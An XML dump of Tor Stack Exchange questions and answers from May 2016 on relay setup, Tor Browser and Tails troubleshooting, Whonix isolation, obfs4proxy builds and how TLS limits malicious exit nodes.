  <row Id="10384" PostTypeId="2" ParentId="10382" CreationDate="2016-05-08T22:20:12.237" Score="1" Body="&lt;p&gt;Thanks for considering running a relay. Generally it's problem-free to act as a relay with a &lt;code&gt;reject *:*&lt;/code&gt; exit policy. That said, there are some things you'd be best to check first.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Local laws that might apply, even if you don't exit traffic there's a possibility that some kind of &quot;anti-proxying&quot; law covers it. &lt;em&gt;(A lot of computer-related legislation is vague and no longer fit for purpose. &lt;a href=&quot;http://www.cryptolaw.org/&quot; rel=&quot;nofollow&quot;&gt;CryptoLaw.org&lt;/a&gt; might help clarify some, but maybe cotact a lawyer.)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Does it violate anything in your ISP's Terms of Service or Acceptable Use Policy, etc?&lt;/li&gt;&#xA;&lt;li&gt;Can you provide enough bandwidth to be helpful to the Tor network?&lt;/li&gt;&#xA;&lt;li&gt;Even if it's not strictly illegal, is it safe for you? Don't play chicken with fascists lightly.&lt;/li&gt;&#xA;&lt;li&gt;If something &lt;em&gt;did&lt;/em&gt; happen (this is pretty uncommon if you're not exiting traffic but there's no limits to certain law enforcement agencies misunderstanding of technologies), they're might kick in your door and take all your computer related stuff because it's at home. See point 4.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-08T22:20:12.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10385" PostTypeId="1" CreationDate="2016-05-08T23:06:06.420" Score="3" ViewCount="547" Body="&lt;p&gt;Up until a few days ago, I could access Tor every time I clicked the &quot;Start Tor Browser&quot;. Since then, no luck. &#xA;Here is where I am at.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I use Norton Internet Security. Deleted and setup Tor as trusted&lt;br&gt;&#xA;connection several times.&lt;/li&gt;&#xA;&lt;li&gt;Each time I try to connect to Tor, I see &lt;code&gt;tor.exe&lt;/code&gt; and &lt;code&gt;firefox.exe&lt;/code&gt;&#xA;as running processes but Tor does not start.&lt;/li&gt;&#xA;&lt;li&gt;I do not even get to see the Tor Configuration Box.     &lt;/li&gt;&#xA;&lt;li&gt;I installed BlackBeltPrivacy - Vidalia and when I click &quot;Connect to &#xA;Tor&quot; and I get to see some success in the message &quot;Tor is running&quot;&lt;/li&gt;&#xA;&lt;li&gt;When I go to click &quot;Start Tor Browser&quot; nothing happens&lt;/li&gt;&#xA;&lt;li&gt;After a few minutes, I then get a Crash Report from Mozilla Firefox.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I really do not know what to do and would appreciate any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have saved some log files if that will help.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;May 08 22:52:52.597 [Notice] Tor v0.2.7.6 running on Windows 7 with&#xA;  Libevent 2.1.5-beta, OpenSSL 1.0.2g and Zlib 1.2.8.&#xA;May 08 22:52:52.704 [Notice] Read configuration file &#xA;  &quot;C:\Users\Ravi Nimsons\AppData\Local\BlackBeltPrivacy\Config\BlackBeltPrivacy.torrc&quot;&#xA;May 08 22:52:52.704 [Warning] Path for DataDirectory &#xA;  (C:/Users/Ravi Nimsons/AppData/Local/BlackBeltPrivacy/RuntimeData) &#xA;  is relative and will resolve to &#xA;  C:\Users\Ravi Nimsons\AppData\Local\BlackBeltPrivacy\RuntimeData. &#xA;  Is this what you wanted?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12797" LastEditorUserId="88" LastEditDate="2016-09-14T20:54:05.373" LastActivityDate="2017-02-11T23:16:21.190" Title="Cannot access Tor - Please help" Tags="|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10387" PostTypeId="2" ParentId="10385" CreationDate="2016-05-09T14:20:00.297" Score="1" Body="&lt;p&gt;Tor log is fine, it's working and it's OK. A Tor Browser issue is in order : try to remove addons from it or use a separate Firefox with FoxyProxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: the edit suggested is a question - it's OK to ask further but a proper place for corresponding questions is a comment. You don't need to remove a firefox - a multiple separated instances of FF are coexisting just fine, I'm using them myself(two of them). Just install to a separate folder&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-05-12T20:29:03.890" LastActivityDate="2016-05-12T20:29:03.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10389" PostTypeId="1" CreationDate="2016-05-09T16:38:41.793" Score="0" ViewCount="1575" Body="&lt;p&gt;I want to write some script which would automate task like entering a website and clicking on a certain button or filling a form and then reset the tor identity. Right now I can make a macro with iMacros, but it does not allow to reset identity during macro execution. How can I:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;visit a certain url&lt;/li&gt;&#xA;&lt;li&gt;do some task, e.g. click a button, which is identified by a tag in html&lt;/li&gt;&#xA;&lt;li&gt;reset identity&lt;/li&gt;&#xA;&lt;li&gt;wrap points 1-3 in a script to fully automate the task and possibly expand it (add a loop, print a text in terminal etc.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would like also limit the amount of downloaded data and browsers download images - will using Tor via terminal result in not downloading the images? If not, is there a way to download only text, so I will limit the traffic?&lt;/p&gt;&#xA;" OwnerUserId="12810" LastActivityDate="2016-05-09T19:52:49.957" Title="How to automate browsing task in Tor via terminal?" Tags="|tor-browser-bundle|identity-change|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10390" PostTypeId="1" AcceptedAnswerId="10391" CreationDate="2016-05-09T18:35:54.350" Score="1" ViewCount="47" Body="&lt;p&gt;I got TOR running on my Raspberry PI mini server for 24 hours.&#xA;I use ARM to see how its doing, but the numbers doesnt make sense.&#xA;It only downloaded 39 MB and uploaded 17 MB, I would guess the activity will be much larger by this time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attached is a screenshot, what do you guys think ?&lt;a href=&quot;https://i.stack.imgur.com/OEEDX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OEEDX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12811" LastActivityDate="2016-05-09T19:00:55.007" Title="Cant figure if TOR is running on my Linux?" Tags="|raspberry-pi|" AnswerCount="1" CommentCount="0" ClosedDate="2016-05-09T21:09:05.513" ContentLicense="CC BY-SA 3.0" />
  <row Id="10391" PostTypeId="2" ParentId="10390" CreationDate="2016-05-09T19:00:55.007" Score="0" Body="&lt;p&gt;This is to be expected. In the first ~3 days of a new relay's life, it gets very little use. It's said to be in the &quot;unmeasured&quot; phase. In this period your bandwidth is effectively capped while the bandwidth authorities make up their mind about about whether to trust your relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The below picture is taken from &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lifecycle of a New Relay&lt;/a&gt;, and shows the average bandwidth in KB/s against uptime in days. Your relay is currently in the first horizontal phase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hd8cB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hd8cB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-05-09T19:00:55.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10392" PostTypeId="2" ParentId="10389" CreationDate="2016-05-09T19:52:49.957" Score="1" Body="&lt;p&gt;Your answer is &lt;a href=&quot;https://curl.haxx.se&quot; rel=&quot;nofollow&quot;&gt;cURL&lt;/a&gt; + shell/Perl(depends on your task details)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-09T19:52:49.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10393" PostTypeId="1" CreationDate="2016-05-09T20:40:00.333" Score="0" ViewCount="1736" Body="&lt;p&gt;While Tails has aircrack-ng, it does not have Wireshark installed by default. Can Wireshark hurt my anonimity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="12814" LastActivityDate="2016-05-09T20:57:56.613" Title="Is it OK to use Wireshark on Tails?" Tags="|tails|" AnswerCount="1" CommentCount="0" ClosedDate="2016-05-09T21:09:38.000" ContentLicense="CC BY-SA 3.0" />
  <row Id="10394" PostTypeId="2" ParentId="10393" CreationDate="2016-05-09T20:57:56.613" Score="1" Body="&lt;p&gt;See the &lt;a href=&quot;https://tails.boum.org/doc/advanced_topics/additional_software/index.en.html&quot; rel=&quot;nofollow&quot;&gt;official documentation&lt;/a&gt; on installing additional software and the warnings that it includes.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-09T20:57:56.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10395" PostTypeId="1" CreationDate="2016-05-10T01:25:07.187" Score="6" ViewCount="8410" Body="&lt;p&gt;I'm using &lt;code&gt;torify&lt;/code&gt; on &lt;code&gt;CentOS&lt;/code&gt;, and when I try &lt;code&gt;torify wget ...&lt;/code&gt; I always get the same error message: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ERROR torsocks[32190]: Unable to resolve. Status reply: 4 (in socks5_recv_resolve_reply() at socks5.c:666)&#xA;failed: Non-recoverable failure in name resolution.&#xA;wget: unable to resolve host address “www.baidu.com”&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me on that? Thank you very much. &lt;/p&gt;&#xA;" OwnerUserId="12815" LastActivityDate="2016-05-10T12:55:44.547" Title="Error torsocks: Unable to resolve" Tags="|linux|" AnswerCount="0" CommentCount="5" ClosedDate="2019-05-12T19:58:57.057" ContentLicense="CC BY-SA 3.0" />
  <row Id="10396" PostTypeId="2" ParentId="10373" CreationDate="2016-05-10T12:47:29.380" Score="1" Body="&lt;p&gt;You should be able to build it natively, as per &lt;a href=&quot;https://github.com/yawning/obfs4&quot; rel=&quot;nofollow&quot;&gt;the README here&lt;/a&gt; or you can try to cross-compile from another architecture to armv5 using &lt;a href=&quot;https://github.com/golang/go/wiki/GoArm&quot; rel=&quot;nofollow&quot;&gt;the method here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    export GOARCH=arm&#xA;    export GOARM=5&#xA;    mkdir ~/goarm&#xA;    export GOPATH=~/goarm&#xA;    go get -u github.com&#xA;    go get git.torproject.org/pluggable-transports/obfs4.git/obfs4proxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should result in an ARMv5 obfs4proxy binary in &lt;code&gt;~/goarm/bin/obfs4proxy&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;edit: Looking at some of the dependencies, there maybe issues with cryptographic operations that have been optimized in assembly. It does seem to have ARM assembly though.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-05-10T13:06:22.363" LastActivityDate="2016-05-10T13:06:22.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10398" PostTypeId="1" CreationDate="2016-05-10T13:38:18.887" Score="1" ViewCount="200" Body="&lt;p&gt;Downloaded Tails 2.2.1 a few weeks ago but just got around to installing on 9 May. Installed perfectly but got warning new version was available.(2.3)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Downloaded 2.3 and made intermediary Tails which pc would not boot up from (unlike 2.2.1). Downloaded several times, used 2 different computers, reformatted usb drive several times, but 2.3. will not boot up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else had this problem and is there a fix?&lt;/p&gt;&#xA;" OwnerUserId="12821" LastActivityDate="2016-05-10T13:38:18.887" Title="Tails 2.3 will not install on Windows 10" Tags="|tails|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10399" PostTypeId="1" CreationDate="2016-05-11T06:25:48.780" Score="2" ViewCount="431" Body="&lt;p&gt;Does arm for windows exists as binary? Or how do I compile it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried arm for linux to connect to a winbox running a bridge using arm -i $IP:$CONTROLPORT but I just get a timeout. Should this be possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any aswers.&lt;/p&gt;&#xA;" OwnerUserId="12697" LastActivityDate="2016-05-12T20:35:28.997" Title="arm for windows?" Tags="|windows|bridge|nyx|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10400" PostTypeId="1" CreationDate="2016-05-11T09:57:13.223" Score="0" ViewCount="1492" Body="&lt;p&gt;I set up Whonix Gateway, Workstation and Iceweacel. I also set up a Proxy on Iceweaceal (in Preferences) at the Gateway and now my IP address is defined as the one on the proxy. But I'm confused ... Whonix have isolation and respectively, all inbound connections must pass first through the Gateway, where there is no proxy. For example: Workstation-Gateway-TOR-Internet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this scheme proxy can not be configured in the Workstation, but maybe on the Gateway. So, the question is, how proxy works on the Workstation?&lt;/p&gt;&#xA;" OwnerUserId="12829" LastActivityDate="2016-08-09T18:02:39.157" Title="Whonix proxy and isolation" Tags="|configuration|whonix|proxy|torsocks|pre-tor-proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10401" PostTypeId="2" ParentId="10400" CreationDate="2016-05-11T13:10:12.630" Score="1" Body="&lt;p&gt;There are no unsolicited inbound connections except hidden services when you set some up. (&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2012-September/025432.html&quot; rel=&quot;nofollow&quot;&gt;Different Tor Hidden Services are automatically stream isolated.&lt;/a&gt;) Solicited (related) incoming connections are stream isolated by Tor. As I understand, answers for requests come in the same way through the Tor network they were sent. They don't take some random way back. That is up to Tor. None of this is specific to Whonix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whonix-Gateway also uses transparent proxying for Whonix-Workstation. All applications on the workstation not configured to use a SocksPort by socks proxy settings or forced to use a SocksPort by a socksifier (such as uwt/torsocks) will be routed through Tor's TransPort. These are stream isolated form all connections using Tor SocksPorts. But inside the TransPort these are mixed up and cannot be further stream isolated. The transparent proxying feature can be optionally disabled, see Whonix documentation on how to do so if you want to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( &lt;a href=&quot;https://www.whonix.org/wiki/Stream_Isolation&quot; rel=&quot;nofollow&quot;&gt;https://www.whonix.org/wiki/Stream_Isolation&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I hope you did not overlook the big warning message &lt;code&gt;Do not use this browser for anything other than downloading Tor Browser, unless you know what you are doing!&lt;/code&gt; after starting iceweasel.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full disclosure:&#xA;I am a maintainer of Whonix.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2016-05-11T13:10:12.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10402" PostTypeId="1" CreationDate="2016-05-11T13:37:35.333" Score="0" ViewCount="849" Body="&lt;p&gt;I am (trying to) run Tails 2.3 via Virt-Manager inside a Debian Jessie guest in a Windows10 Virtualbox VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I start to create a virtual machine per instructions on:&#xA;&lt;a href=&quot;https://tails.boum.org/doc/advanced_topics/virtualization/virt-manager/index.en.html#index3h1&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/doc/advanced_topics/virtualization/virt-manager/index.en.html#index3h1&lt;/a&gt;&#xA;I see this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: KVM is not available. This may mean the KVM package is not installed, or the KVM kernel modules are not loaded. Your virtual machines may perform poorly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Carrying on regardless(based on what I'm seeing in the forums etc.), according to the tails boot sequence(?) I see after &lt;code&gt;Welcome to Linux&lt;/code&gt;:&lt;br&gt;&#xA;&lt;code&gt;[ OK ] Started Apply Kernel Variables. &#xA;A start job is running for LSB: AppArmor in... 5s/ no limit&#xA;A start job is running for live-config cont... 5s/ no limit&lt;/code&gt;&lt;br&gt;&#xA;... those last two &quot;start job&quot;s seem to be getting in the way of the boot, and my tails ends up never actually starting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else experiencing this at all? any suggestions? Any way to change the &quot;limit&quot;&#xA;on the wait for LSB and live-config ? How critical are these?&lt;br&gt;&#xA;Note, I have already (in the Debian guest) installed:&#xA;&lt;code&gt;virt-manager libvirt-daemon-system libvirt-bin qemu-kv&lt;/code&gt;&lt;br&gt;&#xA;... Happy to post any logs etc. to illustrate/clarify but just dunno what needs looking at right now.&lt;/p&gt;&#xA;" OwnerUserId="3451" LastEditorUserId="3451" LastEditDate="2016-05-12T11:47:38.693" LastActivityDate="2016-09-09T16:27:46.323" Title="Tails 2.3 not starting(stuck @ LSB , live-config) in Debian Jessie Virt-Manager (inside Win10 Virtualbox VM)" Tags="|tails|linux|debian|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10404" PostTypeId="1" CreationDate="2016-05-11T13:57:51.440" Score="0" ViewCount="57" Body="&lt;p&gt;I study the Tor source code in 0.2.6.10. There should be only one connection between OR to OR because of the cells in Tor. I want to make Tor become multiple connection between OR to OR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I trace some Tor source code, I find out that there is only one channel for every circuit in Onion Proxy (local process in client). I am not really sure that adding channel to create multiple connections is correct or not. Should I achieve my goal by adding more channel or establish more circuit in OP?&lt;/p&gt;&#xA;" OwnerUserId="12761" LastActivityDate="2016-09-09T04:26:26.563" Title="Make Tor become multiple connection between OR to OR" Tags="|source-code|development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10407" PostTypeId="2" ParentId="10404" CreationDate="2016-05-11T15:00:26.133" Score="0" Body="&lt;p&gt;more circuits will be better : because with one-OR-OR-connection policy Tor can try to achive a &quot;garlic routing&quot; concept like it is described in I2P. This will allow &lt;em&gt;any&lt;/em&gt; data that must be passed from one OR to another OR be transferred in one garlic-like message. It will disarm any traffic corellation deanonymizing techniques&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-11T15:00:26.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10409" PostTypeId="1" CreationDate="2016-05-11T16:25:20.693" Score="1" ViewCount="4263" Body="&lt;p&gt;why do i keep getting'Tor Browser is already running, but is not responding. The old Tor Browser process must be closed to open a new window.' even when i turn off my computer and turn it back on or reset?&#xA;also I cant seem to close it in my task manager&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2022-02-27T14:06:00.533" Title="Tor Browser is already running, but is not responding. The old Tor Browser process must be closed to open a new window" Tags="|windows|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10410" PostTypeId="2" ParentId="10399" CreationDate="2016-05-11T16:31:41.547" Score="2" Body="&lt;p&gt;No, &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/arm#Windows&quot; rel=&quot;nofollow&quot;&gt;arm is not available for Windows unless you use Cygwin&lt;/a&gt; (&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/18694&quot; rel=&quot;nofollow&quot;&gt;ticket&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2016-05-11T16:31:41.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10414" PostTypeId="1" CreationDate="2016-05-12T01:12:00.287" Score="1" ViewCount="382" Body="&lt;p&gt;I am a Japanese university student. I decided to research Tor Browser graduation thesis. I've heard that I could use Shadow. However, I did not know how to use it. Could you tell me if there is a site that clearly explains how to use Shadow?&lt;/p&gt;&#xA;" OwnerUserId="12511" LastEditorUserId="12198" LastEditDate="2016-05-15T16:00:00.780" LastActivityDate="2016-05-15T16:00:00.780" Title="How to use shadow" Tags="|shadow|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10415" PostTypeId="2" ParentId="10399" CreationDate="2016-05-12T02:20:47.513" Score="0" Body="&lt;p&gt;It is possible to connect to &lt;strong&gt;remote&lt;/strong&gt; box - you should specify your &quot;ControlPort with address&quot; via &lt;code&gt;ControlListenAddress IP:port&lt;/code&gt;, all the rest of setup like &lt;code&gt;HashedControlPassword&lt;/code&gt; and &lt;code&gt;DisableDebuggerAttachment 0&lt;/code&gt; are exactly the same&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-12T02:20:47.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10418" PostTypeId="2" ParentId="10289" CreationDate="2016-05-12T13:05:17.787" Score="0" Body="&lt;p&gt;Yes, it &lt;strong&gt;is possible&lt;/strong&gt; to use any browser, that supports SOCKS and/or HTTP/HTTPS proxies with Tor : the browser &lt;strong&gt;alone&lt;/strong&gt; will not protect your privacy - any browser can run a plugin or an XML-HTTP-REQUEST or similar stuff to leak out data. So - your problem is that an Exit node you're using is blacklisted by it's IP. change a tor circuit in &lt;em&gt;any&lt;/em&gt; way suitable to you : tor button, telnet controllers, e.t.c... but the Facebook has an onion entry address, &lt;a href=&quot;https://www.facebook.com/notes/protect-the-graph/making-connections-to-facebook-more-secure/1526085754298237/&quot; rel=&quot;nofollow&quot;&gt;officially maintained&lt;/a&gt; at &lt;a href=&quot;https://facebookcorewwwi.onion&quot; rel=&quot;nofollow&quot;&gt;https://facebookcorewwwi.onion&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-12T13:05:17.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10420" PostTypeId="2" ParentId="10402" CreationDate="2016-05-12T13:31:13.457" Score="1" Body="&lt;p&gt;In &lt;strong&gt;every&lt;/strong&gt; Linux you &lt;strong&gt;must not rely on package-provided DKMS/VirtualBox modules&lt;/strong&gt;!! It's a common trouble-starter. Build them from guest additions ISO from source by hand, selecting appropriate version to your bits : 32 or 64. Then it will be just fine.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-12T13:31:13.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10421" PostTypeId="2" ParentId="10414" CreationDate="2016-05-12T13:39:35.757" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://shadow.github.io/&quot; rel=&quot;nofollow&quot;&gt;Shadow&lt;/a&gt; is probably what you heard of. It has a &lt;a href=&quot;https://github.com/shadow/shadow/wiki/&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12198" LastActivityDate="2016-05-12T13:39:35.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10422" PostTypeId="2" ParentId="10297" CreationDate="2016-05-12T13:39:54.217" Score="-1" Body="&lt;p&gt;Actually, the answer is much simple: Tor exit node is using a TCP connections for making outbound requests, and each request &lt;strong&gt;is tunneled through it's own connection&lt;/strong&gt;. So even if everything is identical, i.e. many clients are came from the very same node chain, e.t.c. - they will be a different circuits for an Exit node and will have a different TCP &quot;waterpipes&quot; for their tasks. It's like a water at your kitchen : hot and cold are going one-to-another, but in a separate pipes, so they're not mixed up in transit.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-12T13:39:54.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10426" PostTypeId="2" ParentId="10148" CreationDate="2016-05-12T22:52:19.203" Score="0" Body="&lt;p&gt;It seems that a Tor directory is being queried by censors, so try to obtain a private bridges that don't publish their descriptors and use a pluggable transports like OBFS3/4 or Meek&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-12T22:52:19.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10427" PostTypeId="1" CreationDate="2016-05-13T08:28:53.077" Score="1" ViewCount="202" Body="&lt;p&gt;How can I make sure my stock apps are connecting through orbot?&#xA;I've installed orbot &amp;amp; it's seems to be working as google throws captcha in orfox but stock apps such as youtube still opens page pointing to my location.&#xA;I configured orbot to make all apps connect through it. &#xA;Orbot doesn't start at boot time.&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="12854" LastActivityDate="2016-08-12T13:36:30.353" Title="How can I make sure my stock apps are connecting through orbot?" Tags="|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10430" PostTypeId="1" CreationDate="2016-05-13T10:28:43.547" Score="0" ViewCount="625" Body="&lt;p&gt;I am wondering about the security with TOR, if an end node setup a proxy like Burp Suite and replaced the certificate, does it mean the end node can still see all the packets that had passed through even the site has SSL cert? &lt;/p&gt;&#xA;" OwnerUserId="10273" LastActivityDate="2016-05-13T21:18:44.447" Title="Possibility with malicious endnode, SSL Strip?" Tags="|security|proxy|ssl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10431" PostTypeId="2" ParentId="10430" CreationDate="2016-05-13T10:40:05.233" Score="2" Body="&lt;p&gt;Tor only protects the traffic up to the exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is some man in the middle at the exit node or after the exit node then he can intercept and modify the traffic. Since https is end-to-end encryption it will detect such attack. But if you simply accept any certificates even if the browser explicitly warns against it or if the attacker has access to a trusted certificate for the target host (due to hack of target host or CA) then the man in the middle attack would succeed and the attacker will be able to see the decrypted data.&lt;/p&gt;&#xA;" OwnerUserId="1834" LastActivityDate="2016-05-13T10:40:05.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10433" PostTypeId="1" CreationDate="2016-05-13T12:39:41.597" Score="2" ViewCount="41384" Body="&lt;p&gt;My Tor browser just randomly stopped launching. I'm running Windows 10. I have tried to delete everything tor related and re-download multiple times, messed with the firewall settings, etc. The information I have been able to find is either not recent, not for Win 10, or is too advanced for me to understand. I cannot even find anything in the TBB that I can try and manipulate to try and fix the problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I click the browser to open it, the little blue circle on the mouse pointer (I'm not sure what the technical name is LOL) starts spinning as if something is being executed, but then it just stops and nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just don't understand how it could go from working fine, then to not at all within a couple hours. The computer wasn't even being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!! Thank you!&lt;/p&gt;&#xA;" OwnerUserId="12859" LastActivityDate="2017-08-24T09:28:16.343" Title="Tor browser will not open - tried everything I know" Tags="|windows|tor-browser-bundle|troubleshooting|performance|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10437" PostTypeId="2" ParentId="10430" CreationDate="2016-05-13T19:15:51.770" Score="1" Body="&lt;p&gt;Tor does not care about the traffic that passes over it. Anyone running skiddy/&quot;whitehat&quot; tools on the exit traffic can tamper with it in any way. However these tools &lt;em&gt;cannot&lt;/em&gt; break TLS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exit can see and could tamper with any data leaving the Tor network, but it's visibility would be of TLS. If the security properties of TLS hold, they will not be able to see the actual plaintext of the traffic you send to the site while using https.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While Tor is agnostic of the traffic that passes over it, Tor Browser uses HTTPS Everywhere to enforce TLS on websites, where it is supported. This defeats sslstrip for any sites configured in HTTPS Everywhere, since sslstrip (and similar tools) depend on stopping you from upgrading to TLS in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, things like sslstrip, tampering with certificates or even tampering with plaintext traffic is something that tor project volunteers run regular scans for against all exit nodes. Any relays that are found to be tampering with traffic are investigated and potentially blacklisted from the tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you see any tampering taking place, sslstrip or similar activity you should report it to: bad-relays@lists.torproject.org&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Helpful information to provide would include the IP address or fingerprint of the relay that you were exiting over (on Tor Browser you can find this under the green onion menu), and the website or service you were trying to access at the time.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-05-13T21:18:44.447" LastActivityDate="2016-05-13T21:18:44.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10438" PostTypeId="1" CreationDate="2016-05-13T20:28:47.670" Score="2" ViewCount="420" Body="&lt;p&gt;I need to stay on an IP for longer than ten minutes to finish a download. Can I tell Orbot to stay on the IP for a fixed time? I'm running Orfox on Orbot for Android. Thanks,&#xA;Brian&lt;/p&gt;&#xA;" OwnerUserId="12866" LastActivityDate="2016-08-11T21:02:36.050" Title="How can I stay on my IP longer than 10 minutes?" Tags="|orbot|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
